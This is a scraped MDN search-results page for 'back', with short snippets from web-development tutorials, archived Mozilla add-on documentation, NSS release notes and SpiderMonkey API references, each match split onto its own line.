back mp3 (mpeg-1 audio layer iii) losslessly compressed files flac with alac fall
back uncompressed files wav now that mp3's patents have all expired, the choice of audio file format has become much easier to make.
...And 3 more matches
in - SVG: Scalable Vector Graphics
fourteen elements are using this attribute: <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <fegaussianblur>, <femergenode>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile> usage notes value sourcegraphic | sourcealpha |
backgroundimage |
backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of previous filter primitive animatable yes sourcegraphic this keyword represents the graphics elements that were the original input into the <filter> element.
...
backgroundimage this keyword represents an image snapshot of the svg document under the filter region at the time that the <filter> element was invoked.
...
backgroundalpha same as
backgroundimage except only the alpha channel is used.
...And 3 more matches
SVG documentation index - SVG: Scalable Vector Graphics
67 enable-
background deprecated, svg, svg attribute the enable-
background attribute specifies how the accumulation of the
background image is managed.
... 146 opacity svg, svg attribute the opacity attribute specifies the transparency of an object or of a group of objects, that is, the degree to which the
background behind the element is overlaid.
...this provides a way to design svg that gracefully falls
back when features aren't available.
...And 3 more matches
core/promise - Archive of obsolete content
instead of structuring our programs into logical black boxes: function blackbox(a, b) { var c = assemble(a); return combine(b, c); } we're forced into continuation passing style, involving lots of machinery: function sphagetti(a, b, call
back) { assemble(a, function continuewith(error, c) { if (error) call
back(error); else combine(b, c, call
back); }); } this style also makes doing things in sequence hard: widget.on('click', function onclick() { promptuserfortwitterhandle(function continuewith(error, handle) { if (error) return ui.displayerror(error); twitter.gettweetsfor(handle, funtion continuewith(error, twee...
... promises consider another approach, instead of continuation via call
backs, a function returns an object that represents a eventual result, either successful or failed.
...}); if foo returns a promise that gets fulfilled with the value, success call
back (the value handler) will be called with that value.
...And 2 more matches
Creating annotations - Archive of obsolete content
it is initially off: var matchedelement = null; var originalbgcolor = null; var active = false; function resetmatchedelement() { if (matchedelement) { (matchedelement).css('
background-color', originalbgcolor); (matchedelement).unbind('click.annotator'); } } self.on('message', function onmessage(activation) { active = activation; if (!active) { resetmatchedelement(); } }); this selector listens for occurrences of the jquery mouseenter event.
...the click handler sends a message called show
back to the main add-on code.
... $('*').mouseenter(function() { if (!active || $(this).hasclass('annotated')) { return; } resetmatchedelement(); ancestor = $(this).closest("[id]"); matchedelement = $(this).first(); originalbgcolor = $(matchedelement).css('
background-color'); $(matchedelement).css('
background-color', 'yellow'); $(matchedelement).bind('click.annotator', function(event) { event.stoppropagation(); event.preventdefault(); self.port.emit('show', [ document.location.tostring(), $(ancestor).attr("id"), $(matchedelement).text() ] ); }); }); conversely, the add-on resets the matched element on mouseout: $('*').mouseout(function() ...
...And 2 more matches
Enhanced Extension Installation - Archive of obsolete content
background there are several flaws with extension1 installation in firefox2 1.0, including: it is very difficult for a third party application with its own managed install process to install an extension into firefox.
...the types at the time of writing include: 2 - extension 4 - theme 8 - locale for
backward compatibility the extension system will continue to assume an item is an extension by default, and a theme if the item has a <em:internalname> property, but extension and theme authors should be good citizens and upgrade their install manifests to include the type.
...if at any point during this move the move of an individual file fails, the process rolls
back and the install is aborted.
...And 2 more matches
Jetpack Processes - Archive of obsolete content
registerreceiver(amessagename, areceiver) similar to nsijetpack.registerreceiver(), this function registers a call
back that is triggered when the chrome process sends a message with the given name.
... unregisterreceiver(amessagename, areceiver) similar to nsijetpack.unregisterreceiver(), this function unregisters a call
back previously registered with registerreceiver().
... unregisterreceivers(amessagename) similar to nsijetpack.unregisterreceivers(), this function unregisters all call
backs for the given message name.
...And 2 more matches
Promises - Archive of obsolete content
let processor = new fileprocessor(); for (let file of files) { let data = yield os.file.read(file); processor.add(data); } // now write the processed files
back out, as a binary blob.
... representative example usage components.utils.import("resource://gre/modules/downloads.jsm"); task.spawn(function* () { // fetch a file in the
background.
... yield db.close(); } }); promise wrappers and helpers the following are some example promise-based wrappers for common call
back-based asynchronous apis.
...And 2 more matches
Index of archived content - Archive of obsolete content
self simple-prefs simple-storage system tabs timers ui url widget windows low-level apis /loader chrome console/plain-text console/trace
back content/content content/loader content/mod content/symbiont content/worker core/heritage core/namespace core/promise dev/panel event/core event/target frame/hidden-frame frame/utils fs/path ...
... jsexception jsobject msx emulator (jsmsx) old proxy api parallelarray properly using css and javascript in xhtml documents examples reference server-side javascript
back to the server: server-side javascript on the rise sharp variables in javascript standards-compliant authoring tools stopiteration styling the amazing netscape fish cam page using javascript generators in firefox window.importdialog() writing javascript for xhtml xforms ...
...ls rfe to the custom controls interfaces rfe to the xforms api troubleshooting xforms forms using xforms and php xforms api reference xforms config variables xforms custom controls xforms custom controls examples xforms styling
background-size foreach beginner tutorials creating reusable content with css and xbl underscores in class and id names xml data xul user interfaces case sensitivity in class and id names creating a dynamic status bar extension creating a status bar extension ...
...And 2 more matches
Getting Started - Archive of obsolete content
remember if at any point you wish to revert
back to the original code again, just extract this jar over top of what you've modified.
...you should probably make a
backup of this file now, just in case you make a mistake.
...if it doesn't appear as you expected, then go
back into the installed-chrome.txt file and double check that you modified the lines correctly.
...And 2 more matches
Editor Embedding Guide - Archive of obsolete content
cmd_
backgroundcolor sets the
background color of the document.
... cmd_deletechar
backward deletes one character
backward relative to the current selection end point.
... acts like
backspace key.
...And 2 more matches
Building accessible custom components in XUL - Archive of obsolete content
<code> @namespace url("http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"); grid.spreadsheet { border: thin solid; } grid.spreadsheet label { border-bottom: 1px solid black; border-left: 1px solid black; margin: 0; padding: 3px; } grid.spreadsheet description { color: black;
background-color: white; margin: 0px; padding: 2px; border-left: thin solid; border-bottom: thin solid; font-family: monospace; font-size: 12pt; text-align: center; font-weight: bold; } </code> you can see the results by installing stage-1.xpi, restarting firefox, and selecting accjax from the tools menu.
...the only remaining issue is that when the spreadsheet regains focus (by pressing shift-tab, or cycling all the way around the tab order and coming
back into the spreadsheet), we need to programmatically reset the focus to the previously focused cell.
...xmlns:waistate="http://www.w3.org/2005/01/wai-rdf/guistatetaxonomy#" onload="install_handlers()" > <script src="accjax.js"/> </code> by adding this javascript code and these css rules, we can tab to the spreadsheet see which cell, row header, or column header has focus click on other cells or headers to change focus within the spreadsheet tab off the spreadsheet by pressing tab once tab
back to the spreadsheet and automatically set focus to the previously focused cell or header inspect32 confirms that all of this really works; it's not just visual smoke and mirrors.
...And 2 more matches
The Implementation of the Application Object Model - Archive of obsolete content
the native widgets also wouldn't be fully css responsive, which would mean they might look strange when placed in a dialog or on a toolbar with a rendered
background.
... of course you could always say that toolbars and dialogs just wouldn't be able to have
backgrounds with different colors, but that leads into the next point.
...if this approach isn't taken now, then we'll fall
back into our old pattern.
...And 2 more matches
browser - Archive of obsolete content
attributes autocompleteenabled, autocompletepopup, autoscroll, disablehistory, disableglobalhistory, disablesecurity, droppedlinkhandler, homepage, showcaret, src, type properties accessibletype, cango
back, cangoforward, contentdocument, contentprincipal, contenttitle, contentvieweredit, contentviewerfile, contentwindow, currenturi, docshell, documentcharsetinfo, homepage, markupdocumentviewer, messagemanager, preferences, securityui, sessionhistory, webbrowserfind, webnavigation, webprogress methods addprogresslistener, go
back, goforward, gohome, gotoindex, loaduri, loaduriwithflags, reload, ...
... cango
back type: boolean this read-only property is true if there is a page to go
back to in the session history and the
back button should be enabled.
...most of its methods are callable directly on the element itself, such as go
back and goforward.
...And 2 more matches
Browser Feature Detection - Archive of obsolete content
.close() true true true document.write() true true true document.writeln() true true true document.getelementbyid() true true true document.getelementsbyname() true true true dom css 1 support for properties/methods in document.body.style name firefox 1.5 ie 6 & 7 opera 8.54 - 9.01
background true true true
backgroundattachment true true true
backgroundcolor true true true
backgroundimage true true true
backgroundrepeat true true true border true true true borderspacing true false true borderstyle true true true bordertop true true...
...orm true true true verticalalign true true true whitespace true true true width true true true wordspacing true true true dom css 2 support for properties/methods in document.body.style</caption> name firefox 1.5 ie 6 & 7 opera 8.54 - 9.01 azimuth true false false
backgroundposition true true true bordercollapse true true true borderspacing true false true bordertopcolor true true true borderrightcolor true true true borderbottomcolor true true true borderleftcolor true true true bordertopstyle true true true borderrigh...
...ted': false}, {name: 'createentityreference', 'supported': false}, {name: 'getelementsbytagname', 'supported': false}, {name: 'importnode', 'supported': false}, {name: 'createelementns', 'supported': false}, {name: 'createattributens', 'supported': false}, {name: 'getelementsbytagnamens', 'supported': false}, {name: 'getelementbyid', 'supported': false} ], 'domcss1': [ {name: '
background', 'supported': false}, {name: '
backgroundattachment', 'supported': false}, {name: '
backgroundcolor', 'supported': false}, {name: '
backgroundimage', 'supported': false}, {name: '
backgroundrepeat', 'supported': false}, {name: 'border', 'supported': false}, {name: 'borderspacing', 'supported': false}, {name: 'borderstyle', 'supported': false}, {name: 'bordertop', 'supported': f...
...And 2 more matches
Array.unobserve() - Archive of obsolete content
syntax array.unobserve(arr, call
back) parameters arr the array to stop observing.
... call
back the reference to the observer to stop calling each time changes are made on the array arr.
... the call
back should be a reference to a function and not an anonymous function, because this reference will be used to unset the previous observer.
...And 2 more matches
Object.unobserve() - Archive of obsolete content
syntax object.unobserve(obj, call
back) parameters obj the object to stop observing.
... call
back the reference to the observer to stop calling each time changes are made on the object obj.
... the call
back should be a reference to a function and not an anonymous function, because this reference will be used to unset the previous observer.
...And 2 more matches
RDF in Mozilla FAQ - Archive of obsolete content
the rdf
back-end architecture document describes in more detail how mozilla's rdf implementation works, and gives a quick overview of the interfaces that are involved.
...rce); if (remote.loaded) { alert("the datasource was already loaded!"); } else { alert("the datasource wasn't loaded, but it's loading now!"); // rdf/xml datasources are all nsirdfxmlsinks var sink = ds.queryinterface(components.interfaces.nsirdfxmlsink); // attach the observer to the datasource-as-sink sink.addxmlsinkobserver(observer); // now observer's methods will be called-
back as // the load progresses.
...refer to mozilla rdf
back end architecture ds.assert(homepage, fv_quality, value, true); ds.unassert(homepage, fv_quality, value, true); how do i save
back changes to an rdf/xml datasource?
...And 2 more matches
Building up a basic demo with A-Frame - Game development
adding a
background: sky box a sky box is a
background for the 3d world, represented by an <a-sky> element.
...add the following html before the <a-cube> element: <a-sky color="#dddddd"></a-sky> at this point, if you save the code and refresh your browser you can already see the cube on the screen with our custom
background: here's the code we have created so far: you can also check it out on github.
...we can set the position of the camera explicitly and move it
back a little bit from the center of the scene, so we'll be able to see the shapes.
...And 2 more matches
Building up a basic demo with the PlayCanvas engine - Game development
then it adds a camera component to it with the light gray clearcolor — the color will be visible as the
background.
...there's a special update event that we can use for that — add the following code just below the previous additions: var timer = 0; app.on("update", function (deltatime) { timer += deltatime; // code executed on every frame }); the call
back takes the deltatime as the parameter, so we have the relative time that has passed since the previous invocation of this update.
...add this line of code inside the app.on("update") call
back function, right after the addition of the deltatime to the timer variable: box.rotate(deltatime*10, deltatime*20, deltatime*30); it will rotate the box by deltatime*10 on the x axis, deltatime*20 on the y axis and deltatime*30 on the z axis, on very frame — giving us a smooth animation.
...And 2 more matches
Images, media, and form elements - Learn web development
all of the <div> elements have a
background color and stretch to fill the row and column.
...try changing how this form looks by adjusting the borders, adding
background colors to the fields, and changing fonts and padding.
...you could create a form input with no borders and
background that is almost indistinguishable from the content around it, but this would make it very hard to recognise and fill in.
...And 2 more matches
Organizing your CSS - Learn web development
some developers put all of the rules onto a single line, like so: .box {
background-color: #567895; } h2 {
background-color: black; color: white; } other developers prefer to break everything onto a new line: .box {
background-color: #567895; } h2 {
background-color: black; color: white; } css doesn't mind which one you use.
... comment your css adding comments to your css will help any future developer work with your css file, but will also help you when you come
back to the project after a break.
... you may have used a css property in a specific way to get around older browser incompatibilities, for example: .box {
background-color: red; /* fall
back for older browsers that don't support gradients */
background-image: linear-gradient(to right, #ff0000, #aa0000); } perhaps you followed a tutorial to achieve something, and the css is a little non-obvious.
...And 2 more matches
Test your skills: Selectors - Learn web development
give h2 headings a blue
background and white text.
... selectors two without changing the html, make the following changes to the look of the content in this example: give the element with an id of special a yellow
background.
... if the element with a class of alert also has a class of stop, make the
background red.
...And 2 more matches
Multiple-column layout - Learn web development
there is no way to make one column bigger than other columns, or to change the
background or text color of a single column.
... spanning the columns body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1.2 arial, helvetica, sans-serif; } .container { column-count: 3; column-gap: 20px; column-rule: 4px dotted rgb(79, 185, 227); } h2 { column-span: all;
background-color: rgb(79, 185, 227); color: white; padding: .5em; } <div class="container"> <h1>simple multicol example</h1> <p> lorem ipsum dolor sit amet, consectetur adipiscing elit.
...integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.</p> </div> </div> .container { column-width: 250px; column-gap: 20px; } .card {
background-color: rgb(207, 232, 220); border: 2px solid rgb(79, 185, 227); padding: 10px; margin: 0 0 1em 0; } to control this behavior we can use properties from the css fragmentation specification.
...And 2 more matches
Other form controls - Learn web development
l for="myfruit">what's your favorite fruit?</label> <input type="text" name="myfruit" id="myfruit" list="mysuggestion"> <datalist id="mysuggestion"> <option>apple</option> <option>banana</option> <option>blackberry</option> <option>blueberry</option> <option>lemon</option> <option>lychee</option> <option>peach</option> <option>pear</option> </datalist> datalist support and fall
backs almost all browsers support datalist, but if you are still supporting older browsers such as ie versions below 10, there is a trick to provide a fall
back: <label for="myfruit">what is your favorite fruit?
... (with fall
back)</label> <input type="text" id="myfruit" name="fruit" list="fruitlist"> <datalist id="fruitlist"> <label for="suggestion">or pick a fruit</label> <select id="suggestion" name="altfruit"> <option>apple</option> <option>banana</option> <option>blackberry</option> <option>blueberry</option> <option>lemon</option> <option>lychee</option> <option>peach</option> <option>pear</option> </select> </datalist> browsers that support the <datalist> element will ignore all the elements that are not <option> elements, with the datalist working as expected.
... the following screenshot shows the datalist fall
back as rendered in safari 6: if you use this fall
back, ensure the data for both the <input> and the <select> are collected server-side.
...And 2 more matches
Styling web forms - Learn web development
before we start coding, we need three additional assets: the postcard
background — download this image and save it in the same directory as your working html file.
...ournal-webfont.woff') format('woff'); font-weight: normal; font-style: normal; } @font-face { font-family: 'typewriter'; src: url('fonts/veteran_typewriter-webfont.woff2') format('woff2'), url('fonts/veteran_typewriter-webfont.woff') format('woff'); font-weight: normal; font-style: normal; } body { font : 1.3rem sans-serif; padding : 0.5em; margin : 0;
background : #222; } form { position : relative; width : 740px; height : 498px; margin : 0 auto; padding: 1em; box-sizing: border-box;
background : #fff url(
background.jpg); /* we create our grid */ display : grid; grid-gap : 20px; grid-template-columns : repeat(2, 1fr); grid-template-rows : 10em 1em 1em 1em; } notice that we've used some css grid and flexbox to lay out...
...simply put, we remove their borders and
backgrounds, and redefine their padding and margin: input, textarea { font : 1.4em/1.5em "handwriting", cursive, sans-serif; border : none; padding : 0 10px; margin : 0; width : 80%;
background : none; } when one of these fields gains focus, we highlight them with a light grey, transparent,
background (it is always important to have focus style, for usability and keyboard accessib...
...And 2 more matches
Build your own function - Learn web development
this one is going to involve slightly more work — we are going to set it so that depending on what the msgtype parameter is set to, the function will display a different icon and a different
background color.
...} rule: padding-left: 82px;
background-position: 25px center;
background-repeat: no-repeat; now we need to add code to our displaymessage() function to handle displaying the icons.
... add the following block just above the closing curly brace (}) of your function: if (msgtype === 'warning') { msg.style.
backgroundimage = 'url(icons/warning.png)'; panel.style.
backgroundcolor = 'red'; } else if (msgtype === 'chat') { msg.style.
backgroundimage = 'url(icons/chat.png)'; panel.style.
backgroundcolor = 'aqua'; } else { msg.style.paddingleft = '20px'; } here, if the msgtype parameter is set as 'warning', the warning icon is displayed and the panel's
background color is set to red.
...And 2 more matches
Looping code - Learn web development
let's say we wanted to draw 100 random circles on a <canvas> element (press the update button to run the example again and again to see different random sets): hidden code <!doctype html> <html> <head> <meta charset="utf-8"> <title>random canvas circles</title> <style> html { width: 100%; height: inherit;
background: #ddd; } canvas { display: block; } body { margin: 0; } button { position: absolute; top: 5px; left: 5px; } </style> </head> <body> <button>update</button> <canvas></canvas> <script> const btn = document.queryselector('button'); const canvas = document.queryselector('canvas'); ...
...t('p'); // para.textcontent = ; // output.appendchild(para); </textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px;
background: #f5f9fa; } const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); let code = textarea.value; let userentry = textarea.value; function updatecode() { eval(textarea.value); } reset.addeventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry...
... make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.preventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = textarea.scrolltop; const caretpos = textarea.selectionstart; const front = (textarea.value).substring(0, caretpos); const
back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text +
back; caretpos = caretpos + text.length; textarea.selectionstart = caretpos; textarea.selectionend = caretpos; textarea.focus(); textarea.scrolltop = scrollpos; } // update the saved usercode every time the user updates the text area code textarea.onkeyup = function(){ // w...
...And 2 more matches
Arrays - Learn web development
make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.preventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { const scrollpos = textarea.scrolltop; const caretpos = textarea.selectionstart; const front = (textarea.value).substring(0, caretpos); const
back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text +
back; caretpos = caretpos + text.length; textarea.selectionstart = caretpos; textarea.selectionend = caretpos; textarea.focus(); textarea.scrolltop = scrollpos; } // update the saved usercode every time the user updates the text area code textarea.onkeyup = function(){ // w...
...hown, // not the solution, so that solution is not saved over the user code if(solution.value === 'show solution') { userentry = textarea.value; } else { solutionentry = textarea.value; } updatecode(); }; html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px;
background-color: #f5f9fa; } active learning: top 5 searches a good use for array methods like push() and pop() is when you are maintaining a record of currently active items in a web app.
... in an animated scene for example, you might have an array of objects representing the
background graphics currently displayed, and you might only want 50 displayed at once, for performance or clutter reasons.
...And 2 more matches
Server-side web frameworks - Learn web development
many popular server-side and full stack frameworks (comprising both server and client-side frameworks) are based on express, including feathers, itemsapi, keystonejs, kraken, loop
back, mean, and sails.
... multiple
back-ends for session and cache storage.
... robust
background job processing.
...And 2 more matches
Introduction to client-side frameworks - Learn web development
you can save this new url and come
back to the page later on, or share it with others so they can easily find the same page.
... your browser remembers your navigation history and allows you to navigate
back and forth, too.
...people are used to being able to link to specific pages in an application, travel forward and
backward in their navigation history, etc., and their experience suffers when these standard web features are broken.
...And 2 more matches
Accessibility in React - Learn web development
focusing between templates when a user toggles a <todo/> template from viewing to editing, we should focus on the <input> used to rename it; when they toggle
back from editing to viewing, we should move focus
back to the "edit" button.
... moving focus
back to the edit button at first glance, getting react to move focus
back to our "edit" button when the edit is saved or cancelled appears deceptively easy.
...head
back to your browser and you’ll see that your focus moves between edit <input> and "edit" button as you start and end an edit.
...And 2 more matches
Starting our Svelte Todo list app - Learn web development
e the contents of the file public/global.css with the following: /* resets */ *, *::before, *::after { box-sizing: border-box; } *:focus { outline: 3px dashed #228bec; outline-offset: 0; } html { font: 62.5% / 1.15 sans-serif; } h1, h2 { margin-bottom: 0; } ul { list-style: none; padding: 0; } button { border: none; margin: 0; padding: 0; width: auto; overflow: visible;
background: transparent; color: inherit; font: inherit; line-height: normal; -webkit-font-smoothing: inherit; -moz-osx-font-smoothing: inherit; -webkit-appearance: none; } button::-moz-focus-inner { border: 0; } button, input, optgroup, select, textarea { font-family: inherit; font-size: 100%; line-height: 1.15; margin: 0; } button, input { overflow: visible; } input[type="text...
..."] { border-radius: 0; } body { width: 100%; max-width: 68rem; margin: 0 auto; font: 1.6rem/1.25 arial, sans-serif;
background-color: #f5f5f5; color: #4d4d4d; } @media screen and (min-width: 620px) { body { font-size: 1.9rem; line-height: 1.31579; } } /*end resets*/ /* global styles */ .form-group > input[type="text"] { display: inline-block; margin-top: 0.4rem; } .btn { padding: 0.8rem 1rem 0.7rem; border: 0.2rem solid #4d4d4d; cursor: pointer; text-transform: capitalize; } .btn.toggle-btn { border-width: 1px; border-color: #d3d3d3; } .btn.toggle-btn[aria-pressed="true"] { text-decoration: underline; border-color: #4d4d4d; } .btn__danger { color: #fff;
background-color: #ca3c3c; border-color: #bd2130; } .btn__filter { border-color: lightg...
...rey; } .btn__primary { color: #fff;
background-color: #000; } .btn__primary:disabled { color: darkgrey;
background-color:#565656; } .btn-group { display: flex; justify-content: space-between; } .btn-group > * { flex: 1 1 49%; } .btn-group > * + * { margin-left: 0.8rem; } .label-wrapper { margin: 0; flex: 0 0 100%; text-align: center; } .visually-hidden { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px 1px 1px 1px); clip: rect(1px, 1px, 1px, 1px); white-space: nowrap; } [class*="stack"] > * { margin-top: 0; margin-bottom: 0; } .stack-small > * + * { margin-top: 1.25rem; } .stack-large > * + * { margin-top: 2.5rem; } @media screen and (min-width: 550px) { .stack-small > * + * { margin-top: 1.4rem; } .s...
...And 2 more matches
Handling common JavaScript problems - Learn web development
the trouble with javascript historically, javascript was plagued with cross-browser compatibility problems —
back in the 1990s, the main browser choices
back then (internet explorer and netscape) had scripting implemented in different language flavours (netscape had javascript, ie had jscript and also offered vbscript as an option), and while at least javascript and jscript were compatible to some degree (both based on the ecmascript specification), things were often implemented in conflicting, incompatible ...
...jquery (or whatever library you are using) will then handle the differences in the
background, so you don't have to.
...this was more useful
back when dhtml was a popular buzzword, and implementing an effect involved a lot of complex javascript, but these days browsers have a lot of built in css3 features and apis to implementing effects more easily.
...And 2 more matches
Creating Sandboxed HTTP Connections
it is usually best to use a javascript wrapper that implements all the required methods and calls the specified call
back function when the connection has completed.
...; // init the channel // the io service var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); // create an nsiuri var uri = ioservice.newuri(myurlstring, null, null); // get a channel for that nsiuri gchannel = ioservice.newchannelfromuri(uri); // get an listener var listener = new streamlistener(call
backfunc); gchannel.notificationcall
backs = listener; gchannel.asyncopen(listener, null); function streamlistener(acall
backfunc) { this.mcall
backfunc = acall
backfunc; } streamlistener.prototype = { mdata: "", // nsistreamlistener onstartrequest: function (arequest, acontext) { this.mdata = ""; }, ondataavailable: function (arequest, acontext, astream, asourceoffset, alength) { ...
...ream = components.classes["@mozilla.org/scriptableinputstream;1"] .createinstance(components.interfaces.nsiscriptableinputstream); scriptableinputstream.init(astream); this.mdata += scriptableinputstream.read(alength); }, onstoprequest: function (arequest, acontext, astatus) { if (components.issuccesscode(astatus)) { // request was successfull this.mcall
backfunc(this.mdata); } else { // request failed this.mcall
backfunc(null); } gchannel = null; }, // nsichanneleventsink onchannelredirect: function (aoldchannel, anewchannel, aflags) { // if redirecting, store the new channel gchannel = anewchannel; }, // nsiinterfacerequestor getinterface: function (aiid) { try { return this.queryinterface(aiid...
...And 2 more matches
Eclipse CDT
then, to create the eclipse project and open it, run: ./mach ide eclipse or to create the eclipse project without opening it yet, run: ./mach build-
backend -b cppeclipse building the eclipse project should only take a few seconds.
... in the case of the build-
backend command, instructions on how to open the project will be displayed after the command completes.
...much of that page is redundant (taken care of by the mach setup), but there is still some information there that is relevant that should make its way
back here at some point.
...And 2 more matches
HTML parser threading
nshtml5refptr sends runnables
back to the main thread to call release on nshtml5streamparser on the main thread.
...the
backing nsstringbuffers are thread-safely refcounted appropriately when the nsstring goes away.
...it contains all the information that is necessary to load
back into the tree builder to restore it into a behaviorally equivalent state.
...And 2 more matches
Addon
appversion, in string platformversion) void findupdates(in updatelistener listener, in integer reason, in string appversion, in string platformversion) overview of optional methods void uninstall() void canceluninstall() boolean hasresource(in string path) nsiuri getresourceuri(in string path) void getdatadirectory(in datadirectorycall
back call
back) required properties attribute type description appdisabled read only boolean true if this add-on cannot be used in the application based on version compatibility, dependencies, and blocklisting.
... apply
backgroundupdates integer indicates whether updates found in the
background for this add-on will be applied automatically.
...ontributionamount read only string averagerating read only number reviewcount read only integer reviewurl read only string totaldownloads read only integer weeklydownloads read only integer dailyusers read only integer repositorystatus read only integer call
backs datadirectorycall
back() a call
back which is passed a directory path, and, when an error has occured, an error object.
...And 2 more matches
Examples
let lastpromise = newpromise.then(null, components.utils.reporterror); in this case, if the file existence check succeeds, the onfulfill call
back is invoked.
... when the call
back finishes execution, newpromise will be fulfilled with an undefined fulfillment value, because the call
back does not return any value.
... when newpromise is fulfilled, nothing happens, because no fulfillment call
back is specified and the return value of the last then method is ignored.
...And 2 more matches
PromiseWorker.jsm
in summary, from a worker file, data can only be sent
back as a response to a request from the main thread, it is not possible for a worker to send data to the main thread otherwise, this is a key difference between promiseworker worker file and all other types of workers.
... return 1; // 1 is sent
back to main thread, as a resolved promise.
... throw new customerror('meow'); } the converted message will be posted
back to the main thread, and it will be converted again to error object, with frommsg function specified for the error in exceptionhandlers property.
...And 2 more matches
Creating localizable web applications
_("
back to step 1") .
...in general though, we should consider implementing such decorations as css images (
background-image or ::after's/::before's content) and then select them with "html[dir="rtl"] > ...".
...good: css: div.tut_didyouknow {
background: url(/static/img/question-64.png) no-repeat 0 0; padding-left: 64px; } html[dir='rtl'] div.tut_didyouknow {
background-image: url(/static/img/question-64.png);
background-position: 100% 0; padding-left: 0; padding-right: 64px; } html/php: <div class="tut_didyouknow"> <?printf (_("did you know you can test a persona before you submit it?
...And 2 more matches
Scroll-linked effects
<body style="height: 5000px" onscroll="document.getelementbyid('toolbar').style.top = math.max(100, window.scrolly) + 'px'"> <div id="toolbar" style="position: absolute; top: 100px; width: 100px; height: 20px;
background-color: green"></div> </body> this implementation of sticky positioning relies on the scroll event listener to reposition the "toolbar" div.
...instead, it will move with the user's scrolling, and then "snap"
back into position when the scroll event handler runs.
...one way to implement this without the scroll event listener is to use the css property designed for this purpose: <body style="height: 5000px"> <div id="toolbar" style="position: sticky; top: 0px; margin-top: 100px; width: 100px; height: 20px;
background-color: green"></div> </body> this version works well with asynchronous scrolling because position of the "toolbar" div is updated by the browser as the user scrolls.
...And 2 more matches
Date and Time
macros for time unit conversion types and constants time parameter call
back functions functions macros for time unit conversion macros for converting between seconds, milliseconds, microseconds, and nanoseconds.
... pr_msec_per_sec pr_usec_per_sec pr_nsec_per_sec pr_usec_per_msec pr_nsec_per_msec types and constants types and constants defined for nspr dates and times are: prtime prtimeparameters prexplodedtime time parameter call
back functions in some geographic locations, use of daylight saving time (dst) and the rule for determining the dates on which dst starts and ends have changed a few times.
... therefore, a call
back function is used to determine time zone information.
...And 2 more matches
NSS 3.15.4 release notes
bug 919877 - (cve-2013-1740) when false start is enabled, libssl will sometimes return unencrypted, unauthenticated data from pr_recv new in nss 3.15.4 new functionality implemented ocsp querying using the http get method, which is the new default, and will fall
back to the http post method.
... new functions cert_forcepostmethodforocsp cert_getsubjectnamedigest cert_getsubjectpublickeydigest ssl_peercertificatechain ssl_recommendedcanfalsestart ssl_setcanfalsestartcall
back new types cert_rev_m_force_post_method_for_ocsp: when this flag is used, libpkix will never attempt to use the http get method for ocsp requests; it will always use post.
...in addition to enabling the ssl_enable_false_start option, an application must now register a call
back using the ssl_setcanfalsestartcall
back function.
...And 2 more matches
NSS 3.18 release notes
in p12.h sec_pkcs12decoderrenamecertnicknames - call an application provided call
back for each certificate found in a sec_pkcs12decodercontext.
... new types in p12.h sec_pkcs12nicknamerenamecall
back - a function pointer definition.
... an application that uses sec_pkcs12decoderrenamecertnicknames must implement a call
back function that implements this function interface.
...And 2 more matches
NSS 3.28 release notes
please give feed
back to the nss developers for any compatibility issues that you encounter in your tests.
... sha-1 is permitted (in tls 1.2 only) with any certificate for
backward compatibility reasons.
...
background information can be found in mozilla's blog post.
...And 2 more matches
PKCS11 FAQ
nss falls
back to looking for for the existance of public keys to determine if the token may have the corresponding private key while the token is not logged in.
... does nss support the use of pkcs #11 call
backs specified in the pnotify and papplication parameters for c_opensession?
... nss does not currently use any of the call
backs.
...And 2 more matches
JSCheckAccessOp
(it is also the type of the call
back set by js_setcheckobjectaccesscall
back.) syntax typedef jsbool (* jscheckaccessop)(jscontext *cx, jsobject *obj, jsval id, jsaccessmode mode, jsval *vp); name type description cx jscontext * the js context in which the property access attempt is occurring.
...on success, the call
back must set *vp to the stored value of the property.
... if a class leaves the checkaccess field null, a runtime-wide object access call
back is called instead; see js_setcheckobjectaccesscall
back.
...And 2 more matches
JSDeletePropertyOp
in js_threadsafe builds, the javascript engine calls this call
back only from within an active request on cx.
... the call
back does not need to call js_beginrequest()).
... description jsdeletepropertyop call
back is a hook that applications may install to be called at some point during property access.
...And 2 more matches
JS_DefineProperty
getter jsnative the property getter call
back, which the javascript engine will call each time the property's value is accessed; or null.
... setter jsnative the property setter call
back, which the javascript engine will call each time the property is assigned; or null.
...it differs from js_setproperty in that: it does not behave like ordinary property assignment in the javascript language; it allows the application to specify additional details (getter, setter, and attrs) governing the new property's behavior; it never calls a setter; it can call the jsclass.addproperty call
back when js_setproperty would not, because it can replace an existing property.
...And 2 more matches
JS_DefinePropertyWithTinyId
tinyid int8 8-bit id to aid in sharing getter and setter call
backs among properties.
... tinyid is a signed 8-bit integer that affects the id value passed to certain call
backs.
... any time the javascript engine would pass the name of the property as a string to the id parameter of a tiny-id-aware call
back, it passes int_to_jsval(tinyid) instead.
...And 2 more matches
JS_SET_TRACING_DETAILS
printer jstracenameprinter a call
back function, described below; or null.
... call
